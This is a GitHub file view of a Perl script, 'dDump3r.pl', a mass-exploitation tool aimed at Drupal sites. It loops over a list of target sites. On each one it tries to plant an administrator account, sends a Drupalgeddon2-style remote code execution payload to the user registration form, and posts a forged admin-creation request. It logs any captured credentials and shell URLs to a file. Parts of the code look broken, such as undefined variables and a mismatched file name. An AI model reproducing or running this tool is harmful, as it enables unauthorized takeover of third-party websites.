-
Notifications
You must be signed in to change notification settings - Fork 8
/
dDump3r.pl
297 lines (229 loc) · 7.8 KB
/
dDump3r.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#!/usr/bin/perl
use if $^O eq "MSWin32", Win32::Console::ANSI;
use LWP::Simple;
use LWP::UserAgent;
use Term::ANSIColor;
use HTTP::Request;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
#system(($^O eq 'MSWin32') ? 'mode con:cols=100 lines=40' : 'resize -s 40 100');
sub yak0d3()
{
print color('green'),"
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMd``mMy````````-+mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM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MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
";
print color('bold red'),"\n=================================\n";
print color('bold white'),"Welcome to dDumper\n";
print color('bold white'),"[+]Coded By: yak0d3\n";
print color('bold white'),"[+]Version: 1.0\n";
print color('bold white'),"[+]Github: https://github.com/yaKode/dDumper\n";
print color('bold yellow'),"\n ***********DISCLAIMER***********\n I do not take any responsibility and I am not liable for\n any damage caused through use of this product.\n I do not take responsibility for any illegal usage.\n ********************************\n";
print color('bold red'),"\n=================================\n";
}
yak0d3();
print color('bold blue'),"\n\n#";
print color('bold magenta'),"Enter siteslist path > ";
print color('bold white');
$list=<STDIN>;
chomp($list);
if(!-e $list)
{
while(!-e $list)
{
exit_code() if($list eq 'exit');
print "File doesn't exist!\n";
print color('bold blue'),"\n#";
print color('bold magenta'),"Enter siteslist path > ";
print color('bold white');
$list=<STDIN>;
chomp($list);
}
}
#Multi-Threading will be developed in the next versions.
# while($thds <= 0)
# {
# exit_code() if($thds eq 'exit');
# print "\n#Enter the number of threads > ";
# $thds=<STDIN>;
# chomp($thds);
# }
print color('bold blue'),"#";
print color('bold magenta'), "Enter ouputs filename/path > ";
print color('bold white');
$output=<STDIN>;
chomp($output);
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
yak0d3();
print color('bold white')," |Type help for `help` screen and `run` to start|\n";
exit_code() if($output eq 'exit');
print color('bold cyan'),"\n\Dumper > ";
print color('bold white');
$cmd=<STDIN>;
chomp($cmd);
while(commands() eq 0)
{
print color('bold red'), "\nUnknown command!\n";
print color('bold white'),"Type help for `help` screen.\n";
print color('bold cyan'),"\n\Dumper > ";
print color('bold white');
$cmd=<STDIN>;
chomp($cmd);
}
sub commands()
{
while ($cmd eq "-h" or $cmd eq "help" or $cmd eq "usage")
{
print color('bold white'),"\n============================\n";
print "Type -h , help or usage to show this help screen.\n";
print "Type run, start or exploit to start.\n";
print color('bold white'),"\n============================\n";
print color('bold cyan'),"\n\Dumper > ";
print color('bold white');
$cmd=<STDIN>;
chomp($cmd);
}
if($cmd eq "exit")
{
exit_code();
}
elsif($cmd eq "run" or $cmd eq "start" or $cmd eq "exploit")
{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
system(($^O eq 'MSWin32') ? 'mode con:cols=100 lines=40' : 'resize -s 40 100');
yak0d3();
open my $handle, '<', $list;
chomp(my @targets = <$handle>);
close $handle;
$i = 1;
foreach $target(@targets)
{
print color('bold red'),'[';
print color('bold green'),"$i";
print color('bold red'),']';
print color('bold white'),"$target";
print "\n";
exploit();
print "\n";
$i++;
}
$i=0;
}
else
{
return 0;
}
}
sub exit_code()
{
yak0d3();
print color('bold white'),"\n\n Bye!\n\n";
exit;
}
sub exploit(){
addnewadmin();
rce();
csrf();
}
sub addnewadmin()
{
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout (20);
$drupalink = $site;
my $cmd = "$target?url=$target&submit=submit";
$admin ="dumper";
$pass ="password";
$dr = $site . '/user/login';
$red = $site . '/user/1';
my $checkk = $ua->get("$cmd")->content;
if($checkk =~/Success!/) {
open(my $fd, ">>$output");
print $fd " \n
[Admin] URL: $target | dumper:password
";
close($fd);
print color('bold blue'), " [";
print color('bold red') , "+";
print color('bold blue'), "]";
print color('bold white'),"Add Admin ==> " ;
print color('bold green'), "Succeeded\n";
}
else
{
print color('bold blue'), " [";
print color('bold red') , "-";
print color('bold blue'), "]";
print color('bold white'),"Add Admin => ";
print color('bold red'), "Failed\n";
}
}
sub rce()
{
my $ua = LWP::UserAgent->new;
$cmd = "$target/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
$response = $ua->post($cmd, Content => ["form_id" => "user_register_form", "_drupa_ajax" => "1", "mail[#post_render][]" => "exec", "mail[#type]" => "markup", "mail[#markup]" => "Pwned by Drupal Dump3r> dumper.html"]);
$shell = "$target/vuln.html";
my $content = $ua->get("$shell")->content;
if ($content =~ /Vuln/)
{
open(my $fd, ">>$output");
print $fd " \n
[Shell] URL: $shell
";
close($fd);
print color('bold blue'), " [";
print color('bold red') , "+";
print color('bold blue'), "]";
print color('bold white'),"RCE ==> ";
print color('bold green'), "Succeeded\n";
}
else{
print color('bold blue'), " [";
print color('bold red') , "-";
print color('bold blue'), "]";
print color('bold white'),"RCE => ";
print color('bold red'), "Failed\n";
}
}
sub csrf()
{
my $ua = LWP::UserAgent->new;
$mail = 'new_admin@new_admin.com';
$cmd = "$target/admin/people/create?render=overlay&render=overlay";
$response = $ua->post($cmd, Content-Type => 'multipart/form-data', Content => ['name' => 'new_admin', 'mail' => $mail, 'pass[pass1]' => 'new_password', 'pass[pass2]' => 'new_password', 'status' => '1', 'roles[3]' => '3', 'timezone' => 'Europe/Prague', 'form_build_id' => 'form-oUkbOYDjyZag-LhYFHvlPXM1rJzOHCjlHojoh_hS3pY', 'form_token' => 'cU7nmlpWu-a4UKGFDBcVjEutgvoEidfK1Zgw0HFAtXc' , 'form_id' => 'user_register_form' , 'op' => 'Create new account']);
if ($response =~ /200/)
{
print color('bold blue'), " [";
print color('bold red') , "+";
print color('bold blue'), "]";
print color('bold white'),"CSRF ==> ";
print color('bold green'), "Succeeded\n";
open(my $fd, ">>$output");
print $fd " \n
[Admin] URL: $target | $mail:new_password
";
close($fd);
}
else{
print color('bold blue'), " [";
print color('bold red') , "-";
print color('bold blue'), "]";
print color('bold white'),"CSRF => ";
print color('bold red'), "Failed\n";
}
}